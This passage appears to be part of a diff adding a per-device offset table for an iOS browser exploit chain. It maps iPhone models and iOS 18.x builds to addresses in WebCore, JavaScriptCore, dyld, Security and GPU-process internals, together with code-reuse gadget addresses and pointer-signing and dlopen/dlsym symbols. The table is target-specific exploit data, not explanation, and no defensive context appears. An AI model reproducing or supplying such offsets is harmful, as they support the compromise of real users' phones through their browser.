dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a56d0n, + gadget_control_1_ios184: 0x23f0ce2ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f275150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d249da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfc216cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218ad3820n, + libGPUCompilerImplLazy__invoker: 0x23ce737e8n, + libGPUCompilerImplLazy_cstring: 0x23bfbd870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8cab98n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d298000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9e00n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone14,2_22E252": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf3d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadeec0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadee20n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadee70n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade268n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebf88n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be8f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be5a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be5a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be5b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be4f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be5b8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x258023e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5eb58n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62db8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b8f8n, + WebCore__initPKContact_value: 0x1eda6b900n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6a0c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6a0b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6a0a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fd00n, + __pthread_head: 0x26a158020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a56d0n, + gadget_control_1_ios184: 0x23f0ce2ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f275150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d249da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfc216cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218ad3820n, + libGPUCompilerImplLazy__invoker: 0x23ce737e8n, + libGPUCompilerImplLazy_cstring: 0x23bfbd870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8cab98n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d298000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9e00n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone14,3_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf3d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadeec0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadee20n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadee70n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade268n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebf88n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be8f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be5a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be5a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be5b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be4f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be5b8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x258023e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5eb58n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62db8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b8f8n, + WebCore__initPKContact_value: 0x1eda6b900n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6a0c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6a0b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6a0a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fd00n, + __pthread_head: 0x26a158020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a56d0n, + gadget_control_1_ios184: 0x23f0ce2ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f275150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d249da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfc216cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218ad3820n, + libGPUCompilerImplLazy__invoker: 0x23ce737e8n, + libGPUCompilerImplLazy_cstring: 0x23bfbd870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8cab98n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d298000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9e00n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone14,3_22E240": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf3d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadeec0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadee20n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadee70n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade268n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebf88n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be8f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be5a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be5a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be5b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be4f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be5b8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x258023e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5eb58n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62db8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b8f8n, + WebCore__initPKContact_value: 0x1eda6b900n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6a0c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6a0b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6a0a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fd00n, + __pthread_head: 0x26a158020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a56d0n, + gadget_control_1_ios184: 0x23f0ce2ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f275150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d249da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfc216cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218ad3820n, + libGPUCompilerImplLazy__invoker: 0x23ce737e8n, + libGPUCompilerImplLazy_cstring: 0x23bfbd870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8cab98n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d298000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9e00n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone14,3_22E252": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf3d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadeec0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadee20n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadee70n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade268n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebf88n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be8f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be5a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be5a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be5b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be4f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be5b8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x258023e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5eb58n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62db8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b8f8n, + WebCore__initPKContact_value: 0x1eda6b900n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6a0c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6a0b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6a0a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fd00n, + __pthread_head: 0x26a158020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a56d0n, + gadget_control_1_ios184: 0x23f0ce2ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f275150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d249da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfc216cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218ad3820n, + libGPUCompilerImplLazy__invoker: 0x23ce737e8n, + libGPUCompilerImplLazy_cstring: 0x23bfbd870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8cab98n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d298000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9e00n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone14,4_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf2d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadedc0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edaded20n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edaded70n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade168n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebe88n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be7f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be4a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be4a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be4b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be3f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be4b8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257ec3e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5ea58n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62cb8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + 